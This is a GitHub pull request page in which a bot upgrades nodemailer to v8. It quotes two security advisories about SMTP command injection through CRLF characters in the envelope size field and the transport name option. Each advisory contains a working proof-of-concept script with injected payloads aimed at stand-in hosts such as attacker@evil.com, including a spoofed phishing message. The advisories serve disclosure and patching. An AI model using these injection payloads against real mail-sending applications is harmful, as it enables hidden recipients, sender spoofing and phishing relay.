Skip to content

fix(deps): update dependency nodemailer to v8 [security]#8065

Open
renovate-bot wants to merge 1 commit intogoogleapis:mainfrom
renovate-bot:renovate/npm-nodemailer-vulnerability
Open

fix(deps): update dependency nodemailer to v8 [security]#8065
renovate-bot wants to merge 1 commit intogoogleapis:mainfrom
renovate-bot:renovate/npm-nodemailer-vulnerability

Conversation

@renovate-bot
Copy link
Copy Markdown
Contributor

@renovate-bot renovate-bot commented Apr 16, 2026

This PR contains the following updates:

Package Change Age Confidence
nodemailer (source) ^7.0.0^8.0.5 age confidence

GitHub Vulnerability Alerts

GHSA-c7w3-x93f-qmm8

Summary

When a custom envelope object is passed to sendMail() with a size property containing CRLF characters (\r\n), the value is concatenated directly into the SMTP MAIL FROM command without sanitization. This allows injection of arbitrary SMTP commands, including RCPT TO — silently adding attacker-controlled recipients to outgoing emails.

Details

In lib/smtp-connection/index.js (lines 1161-1162), the envelope.size value is concatenated into the SMTP MAIL FROM command without any CRLF sanitization:

if (this._envelope.size && this._supportedExtensions.includes('SIZE')) {
    args.push('SIZE=' + this._envelope.size);
}

This contrasts with other envelope parameters in the same function that ARE properly sanitized:

  • Addresses (from, to): validated for [\r\n<>] at lines 1107-1127
  • DSN parameters (dsn.ret, dsn.envid, dsn.orcpt): encoded via encodeXText() at lines 1167-1183

The size property reaches this code path through MimeNode.setEnvelope() in lib/mime-node/index.js (lines 854-858), which copies all non-standard envelope properties verbatim:

const standardFields = ['to', 'cc', 'bcc', 'from'];
Object.keys(envelope).forEach(key => {
    if (!standardFields.includes(key)) {
        this._envelope[key] = envelope[key];
    }
});

Since _sendCommand() writes the command string followed by \r\n to the raw TCP socket, a CRLF in the size value terminates the MAIL FROM command and starts a new SMTP command.

Note: by default, Nodemailer constructs the envelope automatically from the message's from/to fields and does not include size. This vulnerability requires the application to explicitly pass a custom envelope object with a size property to sendMail().
While this limits the attack surface, applications that expose envelope configuration to users are affected.

PoC

ave the following as poc.js and run with node poc.js:

const net = require('net');
const nodemailer = require('nodemailer');

// Minimal SMTP server that logs raw commands
const server = net.createServer(socket => {
    socket.write('220 localhost ESMTP\r\n');
    let buffer = '';
    socket.on('data', chunk => {
        buffer += chunk.toString();
        const lines = buffer.split('\r\n');
        buffer = lines.pop();
        for (const line of lines) {
            if (!line) continue;
            console.log('C:', line);
            if (line.startsWith('EHLO')) {
                socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n');
            } else if (line.startsWith('MAIL FROM')) {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('RCPT TO')) {
                socket.write('250 OK\r\n');
            } else if (line === 'DATA') {
                socket.write('354 Start\r\n');
            } else if (line === '.') {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('QUIT')) {
                socket.write('221 Bye\r\n');
                socket.end();
            }
        }
    });
});

server.listen(0, '127.0.0.1', () => {
    const port = server.address().port;
    console.log('SMTP server on port', port);
    console.log('Sending email with injected RCPT TO...\n');

    const transporter = nodemailer.createTransport({
        host: '127.0.0.1',
        port,
        secure: false,
        tls: { rejectUnauthorized: false },
    });

    transporter.sendMail({
        from: 'sender@example.com',
        to: 'recipient@example.com',
        subject: 'Normal email',
        text: 'This is a normal email.',
        envelope: {
            from: 'sender@example.com',
            to: ['recipient@example.com'],
            size: '100\r\nRCPT TO:<attacker@evil.com>',
        },
    }, (err) => {
        if (err) console.error('Error:', err.message);
        console.log('\nExpected output above:');
        console.log('  C: MAIL FROM:<sender@example.com> SIZE=100');
        console.log('  C: RCPT TO:<attacker@evil.com>        <-- INJECTED');
        console.log('  C: RCPT TO:<recipient@example.com>');
        server.close();
        transporter.close();
    });
});

Expected output:

SMTP server on port 12345
Sending email with injected RCPT TO...

C: EHLO [127.0.0.1]
C: MAIL FROM:<sender@example.com> SIZE=100
C: RCPT TO:<attacker@evil.com>
C: RCPT TO:<recipient@example.com>
C: DATA
...
C: .
C: QUIT

The RCPT TO:<attacker@evil.com> line is injected by the CRLF in the size field, silently adding an extra recipient to the email.

Impact

This is an SMTP command injection vulnerability. An attacker who can influence the envelope.size property in a sendMail() call can:

  • Silently add hidden recipients to outgoing emails via injected RCPT TO commands, receiving copies of all emails sent through the affected transport
  • Inject arbitrary SMTP commands (e.g., RSET, additional MAIL FROM to send entirely separate emails through the server)
  • Leverage the sending organization's SMTP server reputation for spam or phishing delivery

The severity is mitigated by the fact that the envelope object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include size. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable.

Affected versions: at least v8.0.3 (current); likely all versions where envelope.size is supported.

Severity
  • CVSS Score: 2.3 / 10 (Low)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

GHSA-vvjj-xcjg-gr5g

Summary

Nodemailer versions up to and including 8.0.4 are vulnerable to SMTP command injection via CRLF sequences in the transport name configuration option. The name value is used directly in the EHLO/HELO SMTP command without any sanitization for carriage return and line feed characters (\r\n). An attacker who can influence this option can inject arbitrary SMTP commands, enabling unauthorized email sending, email spoofing, and phishing attacks.

Details

The vulnerability exists in lib/smtp-connection/index.js. When establishing an SMTP connection, the name option is concatenated directly into the EHLO command:

// lib/smtp-connection/index.js, line 71
this.name = this.options.name || this._getHostname();

// line 1336
this._sendCommand('EHLO ' + this.name);

The _sendCommand method writes the string directly to the socket followed by \r\n (line 1082):

this._socket.write(Buffer.from(str + '\r\n', 'utf-8'));

If the name option contains \r\n sequences, each injected line is interpreted by the SMTP server as a separate command. Unlike the envelope.from and envelope.to fields which are validated for \r\n (line 1107-1119), and unlike envelope.size which was recently fixed (GHSA-c7w3-x93f-qmm8) by casting to a number, the name parameter receives no CRLF sanitization whatsoever.

This is distinct from the previously reported GHSA-c7w3-x93f-qmm8 (envelope.size injection) as it affects a different parameter (name vs size), uses a different injection point (EHLO command vs MAIL FROM command), and occurs at connection initialization rather than during message sending.

The name option is also used in HELO (line 1384) and LHLO (line 1333) commands with the same lack of sanitization.

PoC

const nodemailer = require('nodemailer');
const net = require('net');

// Simple SMTP server to observe injected commands
const server = net.createServer(socket => {
    socket.write('220 test ESMTP\r\n');
    socket.on('data', data => {
        const lines = data.toString().split('\r\n').filter(l => l);
        lines.forEach(line => {
            console.log('SMTP CMD:', line);
            if (line.startsWith('EHLO') || line.startsWith('HELO'))
                socket.write('250 OK\r\n');
            else if (line.startsWith('MAIL FROM'))
                socket.write('250 OK\r\n');
            else if (line.startsWith('RCPT TO'))
                socket.write('250 OK\r\n');
            else if (line === 'DATA')
                socket.write('354 Go\r\n');
            else if (line === '.')
                socket.write('250 OK\r\n');
            else if (line === 'QUIT')
                { socket.write('221 Bye\r\n'); socket.end(); }
            else if (line === 'RSET')
                socket.write('250 OK\r\n');
        });
    });
});

server.listen(0, '127.0.0.1', () => {
    const port = server.address().port;

    // Inject a complete phishing email via EHLO name
    const transport = nodemailer.createTransport({
        host: '127.0.0.1',
        port: port,
        secure: false,
        name: 'legit.host\r\nMAIL FROM:<attacker@evil.com>\r\n'
            + 'RCPT TO:<victim@target.com>\r\nDATA\r\n'
            + 'From: ceo@company.com\r\nTo: victim@target.com\r\n'
            + 'Subject: Urgent\r\n\r\nPhishing content\r\n.\r\nRSET'
    });

    transport.sendMail({
        from: 'legit@example.com',
        to: 'legit-recipient@example.com',
        subject: 'Normal email',
        text: 'Normal content'
    }, () => { server.close(); process.exit(0); });
});

Running this PoC shows the SMTP server receives the injected MAIL FROM, RCPT TO, DATA, and phishing email content as separate SMTP commands before the legitimate email is sent.

Impact

Who is affected: Applications that allow users or external input to configure the name SMTP transport option. This includes:

  • Multi-tenant SaaS platforms with per-tenant SMTP configuration
  • Admin panels where SMTP hostname/name settings are stored in databases
  • Applications loading SMTP config from environment variables or external sources

What can an attacker do:

  1. Send unauthorized emails to arbitrary recipients by injecting MAIL FROM and RCPT TO commands
  2. Spoof email senders by injecting arbitrary From headers in the DATA portion
  3. Conduct phishing attacks using the legitimate SMTP server as a relay
  4. Bypass application-level controls on email recipients, since the injected commands are processed before the application's intended MAIL FROM/RCPT TO
  5. Perform SMTP reconnaissance by injecting commands like VRFY or EXPN

The injection occurs at the EHLO stage (before authentication in most SMTP flows), making it particularly dangerous as the injected commands may be processed with the server's trust context.

Recommended fix: Sanitize the name option by stripping or rejecting CRLF sequences, similar to how envelope.from and envelope.to are already validated on lines 1107-1119 of lib/smtp-connection/index.js. For example:

this.name = (this.options.name || this._getHostname()).replace(/[\r\n]/g, '');
Severity
  • CVSS Score: 4.9 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N

Release Notes

nodemailer/nodemailer (nodemailer)

v8.0.5

Compare Source

Bug Fixes
  • decode SMTP server responses as UTF-8 at line boundary (95876b1)
  • sanitize CRLF in transport name option to prevent SMTP command injection (GHSA-vvjj-xcjg-gr5g) (0a43876)

v8.0.4

Compare Source

Bug Fixes
  • sanitize envelope size to prevent SMTP command injection (2d7b971)

v8.0.3

Compare Source

Bug Fixes
  • clean up addressparser and fix group name fallback producing undefined (9d55877)
  • fix cookie bugs, remove dead code, and improve hot-path efficiency (e8c8b92)
  • refactor smtp-connection for clarity and add Node.js 6 syntax compat test (c5b48ea)
  • remove familySupportCache that broke DNS resolution tests (c803d90)

v8.0.2

Compare Source

Bug Fixes
  • merge fragmented display names with unquoted commas in addressparser (fe27f7f)

v8.0.1

Compare Source

Bug Fixes
  • absorb TLS errors during socket teardown (7f8dde4)
  • absorb TLS errors during socket teardown (381f628)
  • Add Gmail Workspace service configuration (#​1787) (dc97ede)

v8.0.0

Compare Source

⚠ BREAKING CHANGES
  • Error code 'NoAuth' renamed to 'ENOAUTH'
Bug Fixes
  • add connection fallback to alternative DNS addresses (e726d6f)
  • centralize and standardize error codes (45062ce)
  • harden DNS fallback against race conditions and cleanup issues (4fa3c63)
  • improve socket cleanup to prevent potential memory leaks (6069fdc)

v7.0.13

Compare Source

Bug Fixes
  • downgrade transient connection error logs to warn level (4c041db)

v7.0.12

Compare Source

Bug Fixes
  • added support for REQUIRETLS (#​1793) (053ce6a)
  • use 8bit encoding for message/rfc822 attachments (adf8611)

v7.0.11

Compare Source

Bug Fixes
  • prevent stack overflow DoS in addressparser with deeply nested groups (b61b9c0)

v7.0.10

Compare Source

Bug Fixes
  • Increase data URI size limit from 100KB to 50MB and preserve content type (28dbf3f)

v7.0.9

Compare Source

Bug Fixes
  • release: Trying to fix release proecess by upgrading Node version in runner (579fce4)

v7.0.7

Compare Source

Bug Fixes
  • addressparser: Fixed addressparser handling of quoted nested email addresses (1150d99)
  • dns: add memory leak prevention for DNS cache (0240d67)
  • linter: Updated eslint and created prettier formatting task (df13b74)
  • refresh expired DNS cache on error (#​1759) (ea0fc5a)
  • resolve linter errors in DNS cache tests (3b8982c)

v7.0.6

Compare Source

Bug Fixes
  • encoder: avoid silent data loss by properly flushing trailing base64 (#​1747) (01ae76f)
  • handle multiple XOAUTH2 token requests correctly (#​1754) (dbe0028)
  • ReDoS vulnerability in parseDataURI and _processDataUrl (#​1755) (90b3e24)

v7.0.5

Compare Source

Bug Fixes
  • updated well known delivery service list (fa2724b)

v7.0.4

Compare Source

Bug Fixes
  • pools: Emit 'clear' once transporter is idle and all connections are closed (839e286)
  • smtp-connection: jsdoc public annotation for socket (#​1741) (c45c84f)
  • well-known-services: Added AliyunQiye (bb9e6da)

v7.0.3

Compare Source

Bug Fixes
  • attachments: Set the default transfer encoding for message/rfc822 attachments as '7bit' (007d5f3)

v7.0.2

Compare Source

Bug Fixes
  • ses: Fixed structured from header (faa9a5e)

v7.0.1

Compare Source

Bug Fixes
  • ses: Use formatted FromEmailAddress for SES emails (821cd09)

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate-bot renovate-bot requested a review from a team as a code owner April 16, 2026 02:52
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 16, 2026

/gcbrun

Copy link
Copy Markdown
Contributor

@gemini-code-assist gemini-code-assist bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Code Review

This pull request updates the nodemailer dependency in the compute samples to version ^8.0.0. Feedback suggests bumping the version to ^8.0.5 to address known security vulnerabilities (GHSA-c7w3-x93f-qmm8 and GHSA-vvjj-xcjg-gr5g). Additionally, the update may require adjustments to error handling logic due to renamed error codes, and the nodemailer-smtp-transport dependency may now be redundant.

"@google-cloud/compute": "^6.9.0",
"@sendgrid/mail": "^8.0.0",
"nodemailer": "^7.0.0",
"nodemailer": "^8.0.0",
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

security-medium medium

The security vulnerabilities GHSA-c7w3-x93f-qmm8 and GHSA-vvjj-xcjg-gr5g are addressed in nodemailer version 8.0.5. Specifying ^8.0.5 ensures these fixes are applied and prevents the installation of vulnerable versions (8.0.0-8.0.4). Additionally, be aware that nodemailer v8 renames the NoAuth error code to ENOAUTH, which may require updates to error handling logic in the sample code. The nodemailer-smtp-transport dependency is also likely redundant as v8 includes built-in SMTP support.

Suggested change
"nodemailer": "^8.0.0",
"nodemailer": "^8.0.5",

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 02da8a6 to 83f3283 Compare April 16, 2026 07:03
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 16, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 83f3283 to 05436bd Compare April 16, 2026 10:44
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 16, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 05436bd to 07a344e Compare April 16, 2026 10:56
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 16, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 07a344e to 994a8c5 Compare April 16, 2026 14:26
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 16, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 994a8c5 to 640e63b Compare April 16, 2026 15:27
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 16, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 640e63b to 3e94255 Compare April 16, 2026 17:04
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 16, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 3e94255 to bf5cda0 Compare April 16, 2026 17:22
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 16, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from bf5cda0 to 171b15a Compare April 16, 2026 18:38
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 16, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 171b15a to b6a808c Compare April 16, 2026 18:50
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 16, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from b6a808c to 3396a1f Compare April 17, 2026 06:11
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 17, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 3396a1f to 0c1cfa4 Compare April 17, 2026 06:23
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 17, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 0c1cfa4 to 83fe1a8 Compare April 17, 2026 17:23
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 17, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 83fe1a8 to d99cb91 Compare April 17, 2026 20:47
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 17, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from d99cb91 to a68b87b Compare April 19, 2026 10:24
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 19, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from a68b87b to 091c2e1 Compare April 19, 2026 17:27
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 19, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 091c2e1 to 52caef9 Compare April 20, 2026 19:19
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 20, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 52caef9 to 1ab67f7 Compare April 20, 2026 19:50
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 20, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 1ab67f7 to d7e3a94 Compare April 20, 2026 21:06
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 20, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from d7e3a94 to b7c0083 Compare April 20, 2026 22:03
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 20, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from b7c0083 to 83dfe57 Compare April 20, 2026 23:13
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 20, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 83dfe57 to 8cb61ad Compare April 20, 2026 23:25
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 20, 2026

/gcbrun

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants